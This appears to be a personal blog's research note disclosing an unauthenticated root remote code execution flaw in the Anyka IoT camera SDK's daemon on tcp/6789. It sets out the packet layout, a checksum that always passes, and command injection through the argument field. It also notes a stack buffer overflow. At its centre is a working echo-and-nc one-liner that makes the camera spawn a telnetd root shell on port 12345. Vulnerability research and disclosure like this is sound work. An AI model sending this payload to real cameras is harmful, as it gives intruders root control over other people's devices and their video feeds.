astr.al

blog / research notes | code | music | recipes | zv.is network research lab

fixme, needs formatting:
            
            anyka (IoT IP camera) SDK remote code execution as root
            discovered 2023-02-28 from discussion in discord with somebody who had just purchased a cheap no-name camera and managed to dump binaries from an unsecured local FTP login
            the SDK is used for many different products (often using "Yi IoT" app)
            cameras often use AK3918 SoC
            
            /bin/daemon listens on tcp/6789
            function: tcp_pth
            main loop calls daemon_parse_exec with received buffer
            
            -> packet layout:
              u16 len;
              u8 type;
              u8 auto_test;
              u16 file_len;
              char file_name[file_len];
              u16 arg_len;
              char arg_data[arg_len];
              u16 check_sum;
            
            -> buffer layout:
              u16 len;
              u16 arg_len;
              u16 file_len;
              u16 check_sum;
              u8 type;
              u8 auto_test;
              char file_name[file_len];
              char arg_data[arg_len];
            
            daemon_parse_exec tries to check packet checksum
            -> daemon_calc_checksum actually overwrites the input buffer checksum with its own calculated checksum, so it always passes
            
            there is some logic that attempts to kill the last executed process but it doesn't seem to work well (last_file)
            
            example payload:
            file_name must refer to a file that does not exist (cwd is /tmp) 
            auto_test must not be 0 or 2, any other value is okay
            cmd_buf is prepared with the contents:
            -> /tmp/<file_name> /tmp/<arg_data> /var/stat
            this string is passed via rpc to another service that more or less just calls execve() on its inputs
            
            proof of concept:
            echo -en '\x27\x00\x01\x01\x04\x00zero\x1b\x00;/bin/busybox telnetd -l/bin/sh -p12345;.\n' | nc -vv camera.local 6789
            
            you now have a root shell on tcp/12345, have fun
            
            other notes:
            you must write a value other than -1, 0 or 2 into /var/stat when your process exits, otherwise the service will hang or the device will reboot
            the read from /var/stat is 4 bytes
            
            in daemon_parse_exec cmd_buf is on the stack and 256 bytes, buffer overflow is possible as none of the command generation does bounds checking
            
            udp/8192 has a service that responds with camera and system info 
            
            ---------------------
            
            updated 2025-04-21: looks like somebody else has discovered a related bug in the same code - https://github.com/Yasha-ops/RCE-YiIOT (archive: https://archive.is/rWX1r)